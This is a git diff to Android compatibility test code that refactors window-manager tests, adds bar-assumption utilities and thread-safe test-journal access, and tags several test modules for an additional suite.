--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -260,6 +260,7 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
// Launch a different activity on top.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForActivityState(MOVE_TASK_TO_BACK_ACTIVITY,STATE_STOPPED);
final boolean shouldBeVisible =
!mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index c83cb2e7682..a1c522c1b2e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -29,9 +29,7 @@ import static android.view.Display.DEFAULT_DISPLAY;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.fail;
import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
@@ -40,9 +38,6 @@ import androidx.test.filters.FlakyTest;
import org.junit.Test;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
/**
* Build/Install/Run:
* atest CtsWindowManagerDeviceTestCases:AmStartOptionsTests
@@ -92,9 +87,10 @@ public class AmStartOptionsTests extends ActivityManagerTestBase {
// Start LaunchingActivity again and finish TestActivity
final int flags =
FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_SINGLE_TOP;
- final String result = executeShellCommand(
- "am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY));
- verifyShellOutput(result, LAUNCHING_ACTIVITY, false);
+ executeShellCommand("am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY)
+ + " --display " + DEFAULT_DISPLAY);
+ waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+ "Activity must be launched.");
}
private void testDashW(final ComponentName entryActivity, final ComponentName actualActivity)
@@ -112,73 +108,14 @@ public class AmStartOptionsTests extends ActivityManagerTestBase {
private void startActivityAndVerifyResult(final ComponentName entryActivity,
final ComponentName actualActivity, boolean shouldStart) {
- // See TODO below
- // final LogSeparator logSeparator = separateLogs();
-
// Pass in different data only when cold starting. This is to make the intent
// different in subsequent warm/hot launches, so that the entrypoint alias
// activity is always started, but the actual activity is not started again
// because of the NEW_TASK and singleTask flags.
- final String result = executeShellCommand(
- "am start -n " + getActivityName(entryActivity) + " -W"
- + (shouldStart ? " -d about:blank" : ""));
-
- // Verify shell command return value
- verifyShellOutput(result, actualActivity, shouldStart);
-
- // TODO: Disable logcat check for now.
- // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
- // too many lines), and make the test look flaky. We need to either use event
- // log or swith to other mechanisms. Only verify shell output for now, it should
- // still catch most failures.
+ executeShellCommand("am start -n " + getActivityName(entryActivity) + " -W --display "
+ + DEFAULT_DISPLAY + (shouldStart ? " -d about:blank" : ""));
- // Verify adb logcat log
- //verifyLogcat(actualActivity, shouldStart, logSeparator);
- }
-
- private static final Pattern sNotStartedWarningPattern = Pattern.compile(
- "Warning: Activity not started(.*)");
- private static final Pattern sStatusPattern = Pattern.compile(
- "Status: (.*)");
- private static final Pattern sActivityPattern = Pattern.compile(
- "Activity: (.*)");
- private static final String sStatusOk = "ok";
-
- private void verifyShellOutput(
- final String result, final ComponentName activity, boolean shouldStart) {
- boolean warningFound = false;
- String status = null;
- String reportedActivity = null;
-
- final String[] lines = result.split("\\n");
- // Going from the end of logs to beginning in case if some other activity is started first.
- for (int i = lines.length - 1; i >= 0; i--) {
- final String line = lines[i].trim();
- Matcher matcher = sNotStartedWarningPattern.matcher(line);
- if (matcher.matches()) {
- warningFound = true;
- continue;
- }
- matcher = sStatusPattern.matcher(line);
- if (matcher.matches()) {
- status = matcher.group(1);
- continue;
- }
- matcher = sActivityPattern.matcher(line);
- if (matcher.matches()) {
- reportedActivity = matcher.group(1);
- continue;
- }
- }
-
- assertEquals("Status is ok", sStatusOk, status);
- assertEquals("Reported activity is " + getActivityName(activity),
- getActivityName(activity), reportedActivity);
-
- if (shouldStart && warningFound) {
- fail("Should start new activity but brought something to front.");
- } else if (!shouldStart && !warningFound){
- fail("Should bring existing activity to front but started new activity.");
- }
+ waitAndAssertTopResumedActivity(actualActivity, DEFAULT_DISPLAY,
+ "Activity must be launched");
}
-}
+} \ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 2fc2f1e0f29..f51f0b6d210 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -73,7 +73,6 @@ public class DisplayTests extends MultiDisplayTestBase {
}
@Test
- @FlakyTest(bugId = 129521230)
public void testNonDefaultDisplayResourcesConfiguration() throws Exception {
final int smallDisplaySize = 1000;
final int longDisplaySize = 1920;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 331716a40c2..4830da0f3ce 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -19,6 +19,10 @@ package android.server.wm;
import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredBars;
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+import static android.server.wm.BarTestUtils.isAssumptionViolated;
import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -37,7 +41,6 @@ import android.view.View;
import android.view.ViewGroup;
import android.view.WindowInsets;
-import androidx.test.filters.FlakyTest;
import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.PollingCheck;
@@ -45,6 +48,7 @@ import com.android.compatibility.common.util.PollingCheck;
import org.hamcrest.CustomTypeSafeMatcher;
import org.hamcrest.Description;
import org.hamcrest.Matcher;
+import org.junit.AssumptionViolatedException;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.ErrorCollector;
@@ -84,8 +88,13 @@ public class EnsureBarContrastTest {
}
public void runTestEnsureContrast(boolean lightBars) {
+ assumeHasColoredBars();
TestActivity activity = launchAndWait(mTestActivity, lightBars, true /* ensureContrast */);
for (Bar bar : Bar.BARS) {
+ if (isAssumptionViolated(() -> bar.checkAssumptions(mTestActivity))) {
+ continue;
+ }
+
Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
if (getOnMainSync(() -> activity.barIsTapThrough(bar))) {
@@ -307,6 +316,11 @@ public class EnsureBarContrastTest {
r.bottom = r.top + getInset(insets);
return r;
}
+
+ @Override
+ void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+ assumeHasColoredStatusBar(rule);
+ }
};
static final Bar NAVIGATION = new Bar("Navigation") {
@@ -321,6 +335,11 @@ public class EnsureBarContrastTest {
r.top = r.bottom - getInset(insets);
return r;
}
+
+ @Override
+ void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+ assumeHasColoredNavigationBar(rule);
+ }
};
static final Bar[] BARS = {STATUS, NAVIGATION};
@@ -334,5 +353,7 @@ public class EnsureBarContrastTest {
abstract int getInset(Insets insets);
abstract Rect getLocation(Insets insets, Rect screen);
+
+ abstract void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException;
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
index fd8deb2392d..df087db0266 100644..100755
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -62,7 +62,7 @@ import java.util.concurrent.TimeUnit;
@Presubmit
public class MultiDisplayClientTests extends MultiDisplayTestBase {
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5); // 5 seconds
+ private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
private static final String EXTRA_SHOW_IME = "show_ime";
@Before
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 32a20ae8d71..ef78bc7b486 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -74,6 +74,7 @@ import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.function.Consumer;
+import java.util.function.Predicate;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -244,6 +245,18 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId);
}
+ private void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
+ for (int retry = 1; retry <= 5; retry++) {
+ mAmWmState.computeState(true);
+ if (!mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test)) {
+ return;
+ }
+ logAlways("Waiting for hosted displays destruction... retry=" + retry);
+ SystemClock.sleep(500);
+ }
+ fail("Waiting for hosted displays destruction failed.");
+ }
+
/**
* This class should only be used when you need to test virtual display created by a
* non-privileged app.
@@ -360,19 +373,13 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
* @return {@link ActivityDisplay} of newly created display.
*/
private List<ActivityDisplay> simulateDisplay() throws Exception {
- final List<ActivityDisplay> originalDs = getDisplaysStates();
-
// Create virtual display with custom density dpi and specified size.
mOverlayDisplayDeviceSession.set(mSimulationDisplaySize + "/" + mDensityDpi);
- final List<ActivityDisplay> newDisplays = assertAndGetNewDisplays(1, originalDs);
-
if (mShowSystemDecorations) {
- for (ActivityDisplay display : newDisplays) {
- mOverlayDisplayDeviceSession.addAndConfigDisplayState(display,
- true /* requestShowSysDecors */, true /* requestShowIme */);
- }
+ mOverlayDisplayDeviceSession.configureDisplays(
+ true /* requestShowSysDecors */, true /* requestShowIme */);
}
- return newDisplays;
+ return mOverlayDisplayDeviceSession.getCreatedDisplays();
}
/**
@@ -448,55 +455,9 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
+ " -f 0x20000000"
+ " --es " + KEY_COMMAND + " " + COMMAND_DESTROY_DISPLAY;
executeShellCommand(destroyVirtualDisplayCommand);
- waitForDisplaysDestroyed();
- }
-
- private void waitForDisplaysDestroyed() {
- for (int retry = 1; retry <= 5; retry++) {
- if (!isHostedVirtualDisplayPresent()) {
- return;
- }
- logAlways("Waiting for hosted displays destruction... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail("Waiting for hosted displays destruction failed.");
- }
-
- private boolean isHostedVirtualDisplayPresent() {
- mAmWmState.computeState(true);
- return mAmWmState.getWmState().getDisplays().stream().anyMatch(
+ waitForDisplayGone(
d -> d.getName() != null && d.getName().contains(VIRTUAL_DISPLAY_PREFIX));
}
-
- /**
- * Wait for desired number of displays to be created and get their properties.
- * @param newDisplayCount expected display count, -1 if display should not be created.
- * @param originalDS display states before creation of new display(s).
- * @return list of new displays, empty list if no new display is created.
- */
- private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
- List<ActivityDisplay> originalDS) {
- final int originalDisplayCount = originalDS.size();
-
- // Wait for the display(s) to be created and get configurations.
- final List<ActivityDisplay> ds = getDisplayStateAfterChange(
- originalDisplayCount + newDisplayCount);
- if (newDisplayCount != -1) {
- assertEquals("New virtual display(s) must be created",
- originalDisplayCount + newDisplayCount, ds.size());
- } else {
- assertEquals("New virtual display must not be created",
- originalDisplayCount, ds.size());
- return Collections.emptyList();
- }
-
- // Find the newly added display(s).
- final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDS, ds);
- assertThat("New virtual display must be created",
- newDisplays, hasSize(newDisplayCount));
-
- return newDisplays;
- }
}
// TODO(b/112837428): Merge into VirtualDisplaySession when all usages are migrated.
@@ -538,7 +499,10 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
}
/** Helper class to save, set, and restore overlay_display_devices preference. */
- private static class OverlayDisplayDevicesSession extends SettingsSession<String> {
+ private class OverlayDisplayDevicesSession extends SettingsSession<String> {
+ /** The displays which are created by this session. */
+ private final List<ActivityDisplay> mDisplays = new ArrayList<>();
+ /** The configured displays that need to be restored when this session is closed. */
private final List<OverlayDisplayState> mDisplayStates = new ArrayList<>();
private final WindowManager mWm;
@@ -549,23 +513,38 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
mWm = context.getSystemService(WindowManager.class);
}
- void addAndConfigDisplayState(ActivityDisplay display, boolean requestShowSysDecors,
- boolean requestShowIme) {
+ List<ActivityDisplay> getCreatedDisplays() {
+ return new ArrayList<>(mDisplays);
+ }
+
+ @Override
+ public void set(String value) {
+ final List<ActivityDisplay> originalDisplays = getDisplaysStates();
+ super.set(value);
+ final int newDisplayCount = 1 + (int) value.chars().filter(ch -> ch == ';').count();
+ mDisplays.addAll(assertAndGetNewDisplays(newDisplayCount, originalDisplays));
+ }
+
+ void configureDisplays(boolean requestShowSysDecors, boolean requestShowIme) {
SystemUtil.runWithShellPermissionIdentity(() -> {
- final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
- final boolean showIme = mWm.shouldShowIme(display.mId);
- mDisplayStates.add(new OverlayDisplayState(display.mId, showSystemDecors, showIme));
- if (requestShowSysDecors != showSystemDecors) {
- mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
- TestUtils.waitUntil("Waiting for display show system decors",
- 5 /* timeoutSecond */,
- () -> mWm.shouldShowSystemDecors(display.mId) == requestShowSysDecors);
- }
- if (requestShowIme != showIme) {
- mWm.setShouldShowIme(display.mId, requestShowIme);
- TestUtils.waitUntil("Waiting for display show Ime",
- 5 /* timeoutSecond */,
- () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+ for (ActivityDisplay display : mDisplays) {
+ final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
+ final boolean showIme = mWm.shouldShowIme(display.mId);
+ mDisplayStates.add(new OverlayDisplayState(
+ display.mId, showSystemDecors, showIme));
+ if (requestShowSysDecors != showSystemDecors) {
+ mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
+ TestUtils.waitUntil("Waiting for display show system decors",
+ 5 /* timeoutSecond */,
+ () -> mWm.shouldShowSystemDecors(
+ display.mId) == requestShowSysDecors);
+ }
+ if (requestShowIme != showIme) {
+ mWm.setShouldShowIme(display.mId, requestShowIme);
+ TestUtils.waitUntil("Waiting for display show Ime",
+ 5 /* timeoutSecond */,
+ () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+ }
}
});
}
@@ -587,6 +566,8 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
// Need to restore display state before display is destroyed.
restoreDisplayStates();
super.close();
+ waitForDisplayGone(display -> mDisplays.stream()
+ .anyMatch(state -> state.mId == display.getDisplayId()));
}
private class OverlayDisplayState {
@@ -632,6 +613,36 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
return true;
}
+ /**
+ * Wait for desired number of displays to be created and get their properties.
+ *
+ * @param newDisplayCount expected display count, -1 if display should not be created.
+ * @param originalDisplays display states before creation of new display(s).
+ * @return list of new displays, empty list if no new display is created.
+ */
+ private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
+ List<ActivityDisplay> originalDisplays) {
+ final int originalDisplayCount = originalDisplays.size();
+
+ // Wait for the display(s) to be created and get configurations.
+ final List<ActivityDisplay> ds = getDisplayStateAfterChange(
+ originalDisplayCount + newDisplayCount);
+ if (newDisplayCount != -1) {
+ assertEquals("New virtual display(s) must be created",
+ originalDisplayCount + newDisplayCount, ds.size());
+ } else {
+ assertEquals("New virtual display must not be created",
+ originalDisplayCount, ds.size());
+ return Collections.emptyList();
+ }
+
+ // Find the newly added display(s).
+ final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDisplays, ds);
+ assertThat("New virtual display must be created", newDisplays, hasSize(newDisplayCount));
+
+ return newDisplays;
+ }
+
/** Checks if the device supports multi-display. */
protected boolean supportsMultiDisplay() {
return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
@@ -714,27 +725,10 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase {
mExternalDisplayHelper.releaseDisplay();
mExternalDisplayHelper = null;
- waitForHostedDisplayDestroyed();
+ waitForDisplayGone(d -> d.getDisplayId() == mDisplayId);
mDisplayId = INVALID_DISPLAY;
}
}
-
- private void waitForHostedDisplayDestroyed() {
- for (int retry = 1; retry <= 5; retry++) {
- if (!isHostedVirtualDisplayPresent()) {
- return;
- }
- logAlways("Waiting for hosted displays destruction... retry=" + retry);
- SystemClock.sleep(500);
- }
- fail("Waiting for hosted displays destruction failed.");
- }
-
- private boolean isHostedVirtualDisplayPresent() {
- mAmWmState.computeState(true);
- return mAmWmState.getWmState().getDisplays().stream().anyMatch(
- d -> d.getDisplayId() == mDisplayId);
- }
}
public static class PrimaryDisplayStateSession implements AutoCloseable {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 9a6d134a2a2..a361011f84f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -231,6 +231,7 @@ public class WindowFocusTests extends WindowManagerTestBase {
* - The window which lost top-focus can be notified about pointer-capture lost.
*/
@Test
+ @FlakyTest(bugId = 135574991)
public void testPointerCapture() throws InterruptedException {
final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 8601d3526ce..1f35533bc9b 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -929,7 +929,10 @@ public abstract class ActivityManagerTestBase {
"doze_always_on",
"doze_pulse_on_pick_up",
"doze_pulse_on_long_press",
- "doze_pulse_on_double_tap"
+ "doze_pulse_on_double_tap",
+ "doze_wake_screen_gesture",
+ "doze_wake_display_gesture",
+ "doze_tap_gesture"
};
private String get(String key) {
@@ -1668,20 +1671,28 @@ public abstract class ActivityManagerTestBase {
static class ActivityLifecycleCounts {
final int[] mCounts = new int[ActivityCallback.SIZE];
final int[] mLastIndexes = new int[ActivityCallback.SIZE];
- final List<ActivityCallback> mCallbackHistory;
+ private ComponentName mActivityName;
ActivityLifecycleCounts(ComponentName componentName) {
- this(TestJournalContainer.get(componentName).callbacks);
+ mActivityName = componentName;
+ updateCount(TestJournalContainer.get(componentName).callbacks);
}
ActivityLifecycleCounts(List<ActivityCallback> callbacks) {
- mCallbackHistory = callbacks;
- for (int i = 0; i < callbacks.size(); i++) {
- final ActivityCallback callback = callbacks.get(i);
- final int ordinal = callback.ordinal();
- mCounts[ordinal]++;
- mLastIndexes[ordinal] = i;
- }
+ updateCount(callbacks);
+ }
+
+ private void updateCount(List<ActivityCallback> callbacks) {
+ // The callback list could be from the reference of TestJournal. If we are counting for
+ // retrying, there may be new data added to the list from other threads.
+ TestJournalContainer.withThreadSafeAccess(() -> {
+ for (int i = 0; i < callbacks.size(); i++) {
+ final ActivityCallback callback = callbacks.get(i);
+ final int ordinal = callback.ordinal();
+ mCounts[ordinal]++;
+ mLastIndexes[ordinal] = i;
+ }
+ });
}
int getCount(ActivityCallback callback) {
@@ -1694,9 +1705,16 @@ public abstract class ActivityManagerTestBase {
@SafeVarargs
final void assertCountWithRetry(String message, CountSpec<ActivityCallback>... countSpecs) {
+ if (mActivityName == null) {
+ throw new IllegalStateException(
+ "It is meaningless to retry without specified activity");
+ }
new RetryValidator() {
@Override
protected String validate() {
+ Arrays.fill(mCounts, 0);
+ Arrays.fill(mLastIndexes, 0);
+ updateCount(TestJournalContainer.get(mActivityName).callbacks);
return validateCount(countSpecs);
}
}.assertValidator(message);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
new file mode 100644
index 00000000000..2d524dfceb3
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.util.Log;
+import android.view.WindowInsets;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Common assumptions for system bar tests.
+ *
+ * TODO: Unify with copy in systemui tests.
+ */
+public final class BarTestUtils {
+
+ private BarTestUtils() {
+ }
+
+ public static void assumeHasColoredStatusBar(ActivityTestRule<?> rule) {
+ assumeHasColoredBars();
+
+ assumeFalse("No status bar when running in VR", isRunningInVr());
+
+ assumeTrue("Top stable inset is non-positive, no status bar.",
+ getInsets(rule).getStableInsetTop() > 0);
+ }
+
+ public static void assumeHasColoredNavigationBar(ActivityTestRule<?> rule) {
+ assumeHasColoredBars();
+
+ assumeTrue("Bottom stable inset is non-positive, no navigation bar",
+ getInsets(rule).getStableInsetBottom() > 0);
+ }
+
+ public static void assumeHasColoredBars() {
+ final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
+ assumeFalse("Embedded devices don't have system bars",
+ getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_EMBEDDED));
+
+ assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
+ || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+ assumeFalse("Automotive navigation bar is opaque",
+ pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
+ assumeTrue("Only highEndGfx devices have colored system bars",
+ ActivityManager.isHighEndGfx());
+ }
+
+ private static boolean isRunningInVr() {
+ final Context context = InstrumentationRegistry.getContext();
+ final Configuration config = context.getResources().getConfiguration();
+ return (config.uiMode & Configuration.UI_MODE_TYPE_MASK)
+ == Configuration.UI_MODE_TYPE_VR_HEADSET;
+ }
+
+ private static WindowInsets getInsets(ActivityTestRule<?> rule) {
+ final WindowInsets[] insets = new WindowInsets[1];
+ try {
+ rule.runOnUiThread(() -> {
+ insets[0] = rule.getActivity().getWindow().getDecorView().getRootWindowInsets();
+ });
+ } catch (Throwable t) {
+ throw new RuntimeException(t);
+ }
+ return insets[0];
+ }
+
+ public static boolean isAssumptionViolated(Runnable assumption) {
+ try {
+ assumption.run();
+ return true;
+ } catch (AssumptionViolatedException e) {
+ Log.i("BarTestUtils", "Assumption violated", e);
+ return false;
+ }
+ }
+}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
index d35289b4819..b2d92a3ed66 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestJournalProvider.java
@@ -90,19 +90,19 @@ public class TestJournalProvider extends ContentProvider {
switch (method) {
case METHOD_ADD_CALLBACK:
ensureExtras(method, extras);
- TestJournalContainer.get().addCallback(
+ TestJournalContainer.getInstance().addCallback(
extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
break;
case METHOD_SET_LAST_CONFIG_INFO:
ensureExtras(method, extras);
- TestJournalContainer.get().setLastConfigInfo(
+ TestJournalContainer.getInstance().setLastConfigInfo(
extras.getString(EXTRA_KEY_OWNER), extras.getParcelable(method));
break;
case METHOD_PUT_EXTRAS:
ensureExtras(method, extras);
- TestJournalContainer.get().putExtras(
+ TestJournalContainer.getInstance().putExtras(
extras.getString(EXTRA_KEY_OWNER), extras);
break;
}
@@ -267,7 +267,17 @@ public class TestJournalProvider extends ContentProvider {
@NonNull
public static TestJournal get(String owner) {
- return get().getTestJournal(owner);
+ return getInstance().getTestJournal(owner);
+ }
+
+ /**
+ * Perform the action which may have thread safety concerns when accessing the fields of
+ * {@link TestJournal}.
+ */
+ public static void withThreadSafeAccess(Runnable aciton) {
+ synchronized (getInstance()) {
+ aciton.run();
+ }
}
private synchronized TestJournal getTestJournal(String owner) {
@@ -291,7 +301,7 @@ public class TestJournalProvider extends ContentProvider {
getTestJournal(owner).extras.putAll(extras);
}
- private synchronized static TestJournalContainer get() {
+ private synchronized static TestJournalContainer getInstance() {
if (!TestJournalProvider.sCrossProcessAccessGuard) {
throw new IllegalAccessError(TestJournalProvider.class.getSimpleName()
+ " is not alive in this process");
@@ -308,7 +318,7 @@ public class TestJournalProvider extends ContentProvider {
*/
@NonNull
public static TestJournalContainer start() {
- final TestJournalContainer instance = get();
+ final TestJournalContainer instance = getInstance();
synchronized (instance) {
instance.mContainer.clear();
}
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index e421ce0102c..597ae6fe5f4 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -35,5 +35,6 @@ java_test_host {
"cts",
"vts",
"general-tests",
+ "mts",
],
}
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 2ba08cbd1df..210ba0f47c9 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -55,7 +55,7 @@ LOCAL_MULTILIB := both
LOCAL_HOST_REQUIRED_MODULES := cts-dalvik-host-test-runner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
# continuous build configurations, so it's not referenced in AndroidTest.xml
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 83546152544..437488e0801 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -45,7 +45,7 @@ LOCAL_PROGUARD_ENABLED := disabled
LOCAL_MULTILIB := both
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index 093779b63e6..c260de7d508 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -34,6 +34,6 @@ LOCAL_JACK_FLAGS := --multi-dex native
LOCAL_PROGUARD_ENABLED := disabled
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/openglperf2/AndroidTest.xml b/tests/openglperf2/AndroidTest.xml
index 22ceed707e6..c2fa3a666ef 100644
--- a/tests/openglperf2/AndroidTest.xml
+++ b/tests/openglperf2/AndroidTest.xml
@@ -26,5 +26,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.opengl2.cts" />
<option name="runtime-hint" value="4m" />
+ <!-- test-timeout unit is ms, value = 100 min -->
+ <option name="test-timeout" value="6000000" />
</test>
</configuration>
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 7746c984dc1..fc7ed48dd72 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
